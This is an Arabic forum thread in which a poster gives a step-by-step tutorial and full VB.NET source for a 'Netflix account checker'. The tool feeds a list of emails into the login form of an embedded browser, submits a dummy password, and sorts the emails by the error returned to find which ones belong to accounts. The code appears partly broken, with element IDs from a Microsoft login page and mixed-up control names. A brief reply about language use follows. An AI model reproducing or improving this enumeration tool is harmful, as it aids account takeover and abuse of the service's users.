[محمد ايمن]

السلام عليكم ورحمت الله وبركتوه

ا=
شرح عن صنع برنمج فحص متحان نت فيلكس
بس اولن صلي علي النبيّّّّّّّّّّّّّّّّّّّّّّ
-----------------------------------------
اولان نحتاج ادوات
وهي كا التالي
(ListBox3)
(Button3)
(Timer2)
(WebBrowser1)
(TextBox1)
--------------------------
اولن نسمي بوتنو1 ب اسم Add List
وهو المسؤل ب اضافاه ال لستات الموجود فيها المتحات
---------------------------------
ثاني زر نسميهStart
-----------------------------------------
و الثالثStop
----------------------------------
ونكتب جو ال WebBrowser1 اسم الموقع المطلوب فحص متحاتو زي كد
https://www.netflix.com/
------------------------------------------
ونضغط علي تايمر 2
هنلاقي جمله اسمهاlnterval
وجمبها رقم 100او1000
احنا نخليه بدل 100او1000نخليه 2000
و تايمر1 نخليها فيه 100
------------------------------------------------------
وقت اضافه ال اكود
اولان نبدا ب كود تايمر1 وهو كا التالي

كود :

   On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If 

و الان كود تايمر2

كود :

   Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try 

و الان كود Add List

كود :

Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If 

والان كود Imports او الفضاء وهو

كود :

Imports System.IO
Imports System.Net 

و الان كود Start

كود :

Timer1.Start()
        Timer2.Start() 

و اخر كود وهو كود Stop

كود :

Timer1.Stop()
        Timer2.Stop() 

ودي ال اكود ب الكامل لو عيز تمسح كل ال اكود و تحطها 

كود :

Imports System.IO
Imports System.Net

Public Class Form1
    Private Sub ListBox1_SelectedIndexChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListBox1.SelectedIndexChanged
        If WebBrowser1.ReadyState = WebBrowserReadyState.Complete Then
            On Error Resume Next
            For Each ALI As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If ALI.GetAttribute("type") = "text" Then
                    ALI.InnerText = ListBox2.SelectedItem
                End If
            Next
            For Each A As HtmlElement In WebBrowser1.Document.GetElementsByTagName("Input")
                If A.GetAttribute("type") = "password" Then
                    A.InnerText = "232DSWE2W"
                End If
            Next
            WebBrowser1.Document.GetElementById("login").InvokeMember("Click")
            Timer1.Start()
        End If

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
        On Error Resume Next
        If Me.WebBrowser1.ReadyState <> WebBrowserReadyState.Complete _
          AndAlso WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText <> "" Then
            Timer1.Stop()
            TextBox1.Text = (WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText)
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTD_LockoutError").InnerText
            TextBox1.Text = WebBrowser1.Document.GetElementById("idTd_PWD_ErrorMsg_Username").InnerText
            Select Case WebBrowser1.Document.GetElementById("idTd_Tile_ErrorMsg_Login").InnerText
                Case "أدخل"
                    ListBox2.Items.Add(ListBox1.SelectedItem)
                    TextBox1.Text = Nothing
                Case "لاينتمي الاميل الئ اي حساب"
                    ListBox3.Items.Add(ListBox1.SelectedItem & "@Hotmail")
                    TextBox1.Text = Nothing
                Case "خطا في التسجيل"
                    TextBox1.Text = Nothing
            End Select
            WebBrowser1.Navigate("netflix.com")
            ListBox1.SelectedIndex += 1
        End If

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
        Try
            Dim i As Integer
            i = ListBox1.SelectedIndex
            i = i + 1
            If i > ListBox1.Items.Count - 1 Then i = 0
            ListBox1.SelectedIndex = i
        Catch ex As Exception

        End Try

    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim Hussaien_Ahmed As New OpenFileDialog
        Hussaien_Ahmed.Filter = "Text files (*.txt)|*.txt|All files (*.*)|*.*"
        Hussaien_Ahmed.Title = "File txt"
        If Hussaien_Ahmed.ShowDialog = Windows.Forms.DialogResult.OK Then
            Dim lines() As String = IO.File.ReadAllLines(Hussaien_Ahmed.FileName)
            ListBox1.Items.AddRange(lines)
        End If

    End Sub

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        Timer1.Start()
        Timer2.Start()

    End Sub

    Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
        Timer1.Stop()
        Timer2.Stop()
    End Sub
End Class 

صلي علي النبي

[boudyonline]

اللغة العربية يا أخي محمد .... فإنها لغة القرآن

[محمد ايمن]

(08-05-20, 06:01 PM)boudyonline كتب : اللغة العربية يا أخي محمد .... فإنها لغة القرآن

بسم الله مشاء الله ربنا ميز العرب ب القران و الخلق الحسن

ربي يخليك ويطول فعمرك